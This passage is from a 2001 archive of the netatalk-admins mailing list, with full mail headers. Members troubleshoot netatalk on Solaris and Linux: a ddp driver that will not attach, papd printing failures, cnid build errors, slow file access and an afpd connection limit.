	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA20575
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Sep 2001 20:45:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA15402
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Sep 2001 20:44:56 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA15318
	for netatalk.administrators-members@umich.edu; Mon, 3 Sep 2001 20:44:53 -0400 (EDT)
Received: from mail.thefourseasons.org (216-99-212-196.dsl.aracnet.com [216.99.212.196])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA15155
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 20:44:47 -0400 (EDT)
Received: from mail.thefourseasons.org (bruce.thefourseasons.org [10.16.6.156])
	by mail.thefourseasons.org (8.9.3+Sun/8.9.3) with ESMTP id RAA12820
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 17:44:40 -0700 (PDT)
Message-ID: <3B942557.F4114A73@mail.thefourseasons.org>
Date: Mon, 03 Sep 2001 17:50:31 -0700
From: Bruce <bruce@mail.thefourseasons.org>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk <netatalk-admins@umich.edu>
Subject: Solaris 8 ddp driver problem
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I've seen this question posed before, but have not seen an answer.
It applies to all these verions:

netatalk-1.4.99-0.20001108.tar
netatalk-1.5pre6.tar
netatalk-971027.tar
netatalk-1.4b2+asun2.1.3.tar
pre-asun2.1.4-38b_test.tar

in ./sys/solaris directory,
trying to run "make kinstall" on Solaris 8 (UltraSPARC-1),
produces the following error message (same in both 32-bit and 64-bit):

   ...
   /usr/ucb/install -c ddp.conf /usr/kernel/drv/ddp.conf
   add_drv -m '* 0666 root sys' ddp
   devfsadm: driver failed to attach: ddp
   Warning: Driver (ddp) successfully added to system but failed to
attach
   sync;sync;sync
   ...

After setting atalkd.conf with hme0,
when atalkd is started, it produces the error message:

   can't establish STREAMS plumbing, exiting.

/var/adm/messages says this about ioctl(fd,  I_PUSH, "ddp") in
./etc/atalkd/config.c:

   Sep  3 16:31:48 mail atalkd[12708]: [ID 174707 user.error] I_PUSH:
Invalid argument

I had to guess at a device (is this documented? ), using:

   mknod /devices/psuedo/ddp@0:ddp c 92 1
   ln -s /devices/psuedo/ddp@0:ddp   /dev/ddp

Any hints?

-bruce
Bruce Kropp
bruce@mail.thefourseasons.org



From netatalk.administrators-errors@umich.edu  Mon Sep  3 21:41:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA22451
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Sep 2001 21:41:34 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA24057
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Sep 2001 21:41:19 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA23892
	for netatalk.administrators-members@umich.edu; Mon, 3 Sep 2001 21:41:14 -0400 (EDT)
Received: from mail.virginia.edu (mail.Virginia.EDU [128.143.2.9])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA23783
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 21:41:10 -0400 (EDT)
Received: from neon.mail.virginia.edu by mail.virginia.edu id aa29372;
          3 Sep 2001 21:41 EDT
Received: from virginia.edu (jangle.music.Virginia.EDU [128.143.140.24])
	by neon.mail.Virginia.EDU (8.9.3/8.9.3) with ESMTP id VAA19708
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 21:41:24 -0400 (EDT)
Sender: djt7p@cms.mail.virginia.edu
Message-ID: <3B93F92C.6809465E@virginia.edu>
Date: Mon, 03 Sep 2001 21:42:04 +0000
From: "David J. Topper" <topper@virginia.edu>
Organization: UVA - VCCM
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Printing almost there ...
References: <3B93E953.1F0D4FCA@virginia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ok, I've got the ppds.  Everything seems to work.  No errors anywhere
when starting rc.atalk.  I can connect just fine.  I print from my Mac
and all seems well.  Unfortunately, nothing happens.  I get the
following in my syslog:

Sep  3 21:25:58 harmony papd[26446]: lp_conn_unix connect /dev/printer:
Connection refused
Sep  3 21:25:58 harmony papd[26446]: lp_print: lp_conn_unix: Connection
refused

I don't get it.  My papd.conf should be fine:

vccm_printer:\
     :pr=lp:op=root\
     :pd=/usr/local/atalk/ppds/hplj4mp.ppd:     

I'm running Slackware 7.1 and netatalk-1.4b+asun2.1.3.  I can print fine
from this printer from all my Linux boxes.  My /etc/printcap references
/dev/lp0 ... as it should.

Somebody ... please have an answer.

DT
--
Technical Director, Virginia Center for Computer Music
http://www.people.virginia.edu/~djt7p
(804) 924-7355

From netatalk.administrators-errors@umich.edu  Mon Sep  3 22:37:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA24205
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Sep 2001 22:37:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA03498
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Sep 2001 22:37:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA03477
	for netatalk.administrators-members@umich.edu; Mon, 3 Sep 2001 22:37:23 -0400 (EDT)
Received: from ewey.excite.com (ewey-rwcmta.excite.com [198.3.99.191])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA03433
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 22:37:21 -0400 (EDT)
Received: from blizzard.excite.com ([199.172.148.158]) by ewey.excite.com
          (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP
          id <20010904023721.IEFU13859.ewey.excite.com@blizzard.excite.com>
          for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 19:37:21 -0700
Message-ID: <1209243.999571041171.JavaMail.imail@blizzard.excite.com>
Date: Mon, 3 Sep 2001 19:37:18 -0700 (PDT)
From: Joe Rhodes <JoeRhodes1974@excite.com>
To: netatalk-admins@umich.edu
Subject: 1.5pre7 compile probs under SUSE 7.1
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Excite Inbox
X-Sender-Ip: 208.166.201.27

Hello gang!

	I'm sure there is an easy answer to this, but I just cannot seem to find
it.  I'm trying to get the latest and greatest netatalk package to build on
an SUSE 7.1 Linux PPC box.  It keeps dying with the cnid sources.  (What is
cnid used for anyway?  Is that part of the DID hashing code?)  Even if I do
the following:

./configure --diable-cnid --enable-lastdid  etc. etc.

I still get the same compiling error.  It looked as though it's having
trouble with the file db.h.  I compiled the latest Berkeley DB package (3.X)
and installed.  That got me only a bit further.  cnid_open.h compiles now,
but cnid_close is still choking.

	If anyone has some insight, I'd be really greatfull.  This should go
together fairly easily once I get past this.

Cheers!
-Joe





_______________________________________________________
Send a cool gift with your E-Card
http://www.bluemountain.com/giftcenter/



From netatalk.administrators-errors@umich.edu  Tue Sep  4 05:10:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA11375
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 05:10:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA25161
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 05:10:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA25117
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 05:10:17 -0400 (EDT)
Received: from starkingnet.hu (mail.starkingnet.hu [194.149.23.41])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA25013
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 05:10:14 -0400 (EDT)
Received: from [194.149.23.80] ([194.149.23.80] verified)
  by starkingnet.hu (CommuniGate Pro SMTP 3.3.1)
  with ESMTP id 1080964 for netatalk-admins@umich.edu; Tue, 04 Sep 2001 11:10:47 +0200
From: Palotas Peter <sysman@starkingnet.hu>
To: <netatalk-admins@umich.edu>
Subject: Slowing down while editing document on the client
Date: Tue, 4 Sep 2001 11:10:32 +0200
Message-Id: <20010904091032.4647@mail.starkingnet.hu>
X-Mailer: CTM PowerMail 3.0.9v2 <http://www.ctmdev.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

We use the latest stable version of netatalk on a (Debian) Linux Server
2.2.19.

As we started to use netatalk we had two problems:

1. The connection establishment took about 30 secounds. The chooser
message was Connection establishment... Switchhing back to appletalk...
then came the login window. Finaly I set the notcp option and now its
works fine.

2. AfterI opened a document from the server while editind it or just
scrolling it my Mac looks like it freeze. But not, just the two arrows
indicate on the top left corner the network trafic with the netatalk
server and after 5-10 secound I can continue ma work.

To find the answare for my 2nd problem is very serius, but I think TCP
server could be faster and the answare form my 1st problem could solves
my 2nd problem as well.


As I tried to find this problems I found the followings:

The noadouble option my servers appears very-very slow. I tried it
because we use samba as well and PC users confused the .AppleDouble
folders. I edited the AppleVolumes.system file as well and put the
extensin/creatop pair for MS Word and MS Excel documents as well but the
2nd problem still remainig.


Any advice could help me! Thanks!

Peter




From netatalk.administrators-errors@umich.edu  Tue Sep  4 05:47:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA12509
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 05:47:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA12587
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 05:47:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA12556
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 05:47:33 -0400 (EDT)
Received: from tbsun.text-bild.de (text-bild.de [212.114.70.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA12512
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 05:47:31 -0400 (EDT)
Received: from text-bild.de ([192.168.100.70]) by tbsun.text-bild.de
          (Post.Office MTA v3.5.3 release 223 ID# 127-57510U100L2S100V35)
          with ESMTP id de; Tue, 4 Sep 2001 11:56:16 +0200
Message-ID: <3B94A31D.1070404@text-bild.de>
Date: Tue, 04 Sep 2001 11:47:09 +0200
From: anatol.ulrich@text-bild.de (Anatol Ulrich)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801
X-Accept-Language: en-us
MIME-Version: 1.0
To: Palotas Peter <sysman@starkingnet.hu>,
        netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: Slowing down while editing document on the client
References: <20010904091032.4647@mail.starkingnet.hu>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

Peter,

>
>The noadouble option my servers appears very-very slow. I tried it
>because we use samba as well and PC users confused the .AppleDouble
>folders. 
>
don“t use noadouble; hide the .AppleDouble folders in samba with the 
parameter    veto files

-anatol



From netatalk.administrators-errors@umich.edu  Tue Sep  4 06:38:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA14119
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 06:38:32 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA01125
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 06:38:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA01013
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 06:38:14 -0400 (EDT)
Received: from starkingnet.hu (mail.starkingnet.hu [194.149.23.41])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA00939
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 06:38:12 -0400 (EDT)
Received: from [194.149.23.80] ([194.149.23.80] verified)
  by starkingnet.hu (CommuniGate Pro SMTP 3.3.1)
  with ESMTP id 1081104 for netatalk-admins@umich.edu; Tue, 04 Sep 2001 12:39:00 +0200
From: Palotas Peter <sysman@starkingnet.hu>
To: netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: Slowing down while editing document on the client
Date: Tue, 4 Sep 2001 12:38:45 +0200
Message-Id: <20010904103845.15472@mail.starkingnet.hu>
In-Reply-To: <3B94A31D.1070404@text-bild.de>
References: <3B94A31D.1070404@text-bild.de>
X-Mailer: CTM PowerMail 3.0.9v2 <http://www.ctmdev.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by terminator.rsug.itd.umich.edu id GAA14119

Anatol,

Currently I don't use noadouble, I only have the notcp options.

Peter

>Anatol Ulrich (anatol.ulrich@text-bild.de):

>Peter,
>
>>
>>The noadouble option my servers appears very-very slow. I tried it
>>because we use samba as well and PC users confused the .AppleDouble
>>folders. 
>>
>donĀ“t use noadouble; hide the .AppleDouble folders in samba with the 
>parameter    veto files
>
>-anatol
>
>

From netatalk.administrators-errors@umich.edu  Tue Sep  4 07:07:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA14943
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 07:07:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA07269
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 07:07:02 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA07222
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 07:07:01 -0400 (EDT)
Received: from stiftsbogtrykkeriet.dk ([62.242.11.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id HAA07143
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 07:06:59 -0400 (EDT)
Received: from Mikkel (Mikkel [192.168.1.2]) by stiftsbogtrykkeriet.dk
    (Hethmon Brothers Smtpd) id 20010904125926-32283-7 ; Tue, 04 Sep 2001 12:59:26 +0000
Message-ID: <3B94C21D.7E63@post5.tele.dk>
Date: Tue, 04 Sep 2001 12:59:25 +0100
From: "Mikkel C. Simonsen" <mcs@post5.tele.dk>
Organization: Dantimax
X-Mailer: Mozilla 3.0 (OS/2; I)
MIME-Version: 1.0
To: Palotas Peter <sysman@starkingnet.hu>
CC: netatalk-admins@umich.edu
Subject: Re: Slowing down while editing document on the client
References: <20010904091032.4647@mail.starkingnet.hu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Palotas Peter wrote:
> 
> We use the latest stable version of netatalk on a (Debian) Linux Server
> 2.2.19.
> 
> As we started to use netatalk we had two problems:
> 
> 1. The connection establishment took about 30 secounds. The chooser
> message was Connection establishment... Switchhing back to appletalk...
> then came the login window. Finaly I set the notcp option and now its
> works fine.

That happens with "real" AppleShareIP servers as well. One cause can be
that the Mac and the server are not on the same network (the Macs on
192.168.1.x and the server on 192.168.2.x etc.). Have you checked the
TCP/IP configuration of the Macs?

Best regards,

Mikkel C. Simonsen

From netatalk.administrators-errors@umich.edu  Tue Sep  4 07:15:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA15501
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 07:15:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA18745
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 07:15:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA18575
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 07:15:34 -0400 (EDT)
Received: from netpilotbr.broadley.hopkins.co.uk (mail.hopkins.co.uk [62.189.170.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA18474
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 07:15:31 -0400 (EDT)
Received: from mhp_nt1.hopkins.co.uk (unknown [194.159.148.6])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP id 9DF451A003
	for <netatalk-admins@umich.edu>; Tue,  4 Sep 2001 12:08:48 +0100 (BST)
Received: from 194.159.148.247 (no-dns-yet.demon.co.uk [194.159.148.247]) by mhp_nt1.hopkins.co.uk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id Q4846MW1; Tue, 4 Sep 2001 12:12:49 +0100
Date: Tue,  4 Sep 2001 12:12:58 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Too many connections
To: netatalk <netatalk-admins@umich.edu>
X-Priority: 3
In-Reply-To: <3B942557.F4114A73@mail.thefourseasons.org>
Message-ID: <20010904121334-r01010600-f45f4b6f@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
Sender: campbell-lange@mail.campbell-lange.net

Hi

Trying to connect to the server from my mac I get the following error
(or something like it) "An AppleShare system error occurred".

The server log shows:

    Sep  4 11:47:04 hopnet2 afpd[7346]: 
                    ASIP session:548(2) from 194.159.148.247:49367(0)
    Sep  4 11:47:04 hopnet2 afpd[7346]: 
                    dsi_getsess: too many connections

However I have specified 300 connection is netatalk.conf, whereas we
have less than a 100 users in the office (although some connect to more
than 1 volume on the server each morning):

    # Appletalk configuration
    # Change this to increase the maximum number of clients that \
    can connect:
    AFPD_MAX_CLIENTS=300
    
Any insight much appreciated.

Rory

From netatalk.administrators-errors@umich.edu  Tue Sep  4 08:05:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA16897
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 08:05:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA11234
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 08:04:55 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA11208
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 08:04:54 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA11149
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 08:04:53 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GJ508H00.Q57; Tue, 4 Sep 2001 14:05:05 +0200 
Sender: hollow@funinacapulco.mr.itd.umich.edu
Message-ID: <3B94C371.92110E8C@fcb-wilkens.com>
Date: Tue, 04 Sep 2001 14:05:05 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Rory Campbell-Lange <rory@campbell-lange.net>
CC: netatalk <netatalk-admins@umich.edu>
Subject: Re: Too many connections
References: <20010904121334-r01010600-f45f4b6f@194.159.148.247>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Rory Campbell-Lange wrote:
> 
> Hi
> 
> Trying to connect to the server from my mac I get the following error
> (or something like it) "An AppleShare system error occurred".
> 
> The server log shows:
> 
>     Sep  4 11:47:04 hopnet2 afpd[7346]:
>                     ASIP session:548(2) from 194.159.148.247:49367(0)
>     Sep  4 11:47:04 hopnet2 afpd[7346]:
>                     dsi_getsess: too many connections
> 
> However I have specified 300 connection is netatalk.conf, whereas we
> have less than a 100 users in the office (although some connect to more
> than 1 volume on the server each morning):
> 
>     # Appletalk configuration
>     # Change this to increase the maximum number of clients that \
>     can connect:
>     AFPD_MAX_CLIENTS=300
> 
> Any insight much appreciated.
> 
> Rory


Depending on the version of netatalk or distribution installed, this variable
does not get read for afpd startup. With 'nu', You can check who is logged on
to the server (and how many people are - wc is Your friend). If it maxes out 
at 20 connections, the default number is set. 

You can either upgrade to 1.5 pre 6 or edit Your startup script to use the 
-c option for afpd.

H.


-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Tue Sep  4 09:55:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA24569
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 09:55:10 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA17215
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 09:55:10 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA17198
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 09:55:09 -0400 (EDT)
Received: from server.johnmatthews.de ([62.116.131.50])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA17142
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 09:55:08 -0400 (EDT)
Received: from jms (pD9584611.dip.t-dialin.net [217.88.70.17])
	by server.johnmatthews.de (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with SMTP id f84Dtba00622
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 15:55:37 +0200
Message-ID: <000a01c1354a$27287760$6800a8c0@jms>
From: "Markus Teich" <markus.teich@jmsmultimedia.de>
To: <netatalk-admins@umich.edu>
Subject: is this list active?
Date: Tue, 4 Sep 2001 16:01:54 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0007_01C1355A.EA868DE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C1355A.EA868DE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

ist this list still active?

------=_NextPart_000_0007_01C1355A.EA868DE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>ist this list still=20
active?</FONT></DIV></BODY></HTML>

------=_NextPart_000_0007_01C1355A.EA868DE0--


From netatalk.administrators-errors@umich.edu  Tue Sep  4 10:24:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA26408
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 10:24:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA27635
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 10:24:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA27626
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 10:24:50 -0400 (EDT)
Received: from mail01c.rapidsite.net (mail01c.rapidsite.net [207.158.192.68])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA27570
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 10:24:48 -0400 (EDT)
Received: from www.theentertainer.net (208.55.173.90)
	by mail02.rapidsite.net (RS ver 1.0.60s) with SMTP id 04922268
	for <netatalk-admins@umich.edu>; Tue,  4 Sep 2001 06:09:09 -0400 (EDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 04 Sep 1973 12:05:36 +0100
Subject: Re: Solaris 8 ddp driver problem
From: Javan Slaney <sysadmin@theentertainer.net>
To: netatalk <netatalk-admins@umich.edu>
Message-ID: <830F9790.79F%sysadmin@theentertainer.net>
In-Reply-To: <3B942557.F4114A73@mail.thefourseasons.org>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
X-Loop-Detect: 1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA26408

Acording to the Netatalk-FAQ-O-MATIC:

This happens when you didn't specify the "ddp" protocol in /etc/netconfig;
see the README.SOLARIS document from the ~/INSTALL directory.

(based on netatalk-1.4b2+asun-2.1.3, Sun Solaris 2.6 on UltraSparc 10)


el 4/9/01 01:50, Bruce en bruce@mail.thefourseasons.org escribió:

> I've seen this question posed before, but have not seen an answer.
> It applies to all these verions:
> 
> netatalk-1.4.99-0.20001108.tar
> netatalk-1.5pre6.tar
> netatalk-971027.tar
> netatalk-1.4b2+asun2.1.3.tar
> pre-asun2.1.4-38b_test.tar
> 
> in ./sys/solaris directory,
> trying to run "make kinstall" on Solaris 8 (UltraSPARC-1),
> produces the following error message (same in both 32-bit and 64-bit):
> 
> ...
> /usr/ucb/install -c ddp.conf /usr/kernel/drv/ddp.conf
> add_drv -m '* 0666 root sys' ddp
> devfsadm: driver failed to attach: ddp
> Warning: Driver (ddp) successfully added to system but failed to
> attach
> sync;sync;sync
> ...
> 
> After setting atalkd.conf with hme0,
> when atalkd is started, it produces the error message:
> 
> can't establish STREAMS plumbing, exiting.
> 
> /var/adm/messages says this about ioctl(fd,  I_PUSH, "ddp") in
> ./etc/atalkd/config.c:
> 
> Sep  3 16:31:48 mail atalkd[12708]: [ID 174707 user.error] I_PUSH:
> Invalid argument
> 
> I had to guess at a device (is this documented? ), using:
> 
> mknod /devices/psuedo/ddp@0:ddp c 92 1
> ln -s /devices/psuedo/ddp@0:ddp   /dev/ddp
> 
> Any hints?
> 
> -bruce
> Bruce Kropp
> bruce@mail.thefourseasons.org
> 
>
 


From netatalk.administrators-errors@umich.edu  Tue Sep  4 14:02:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
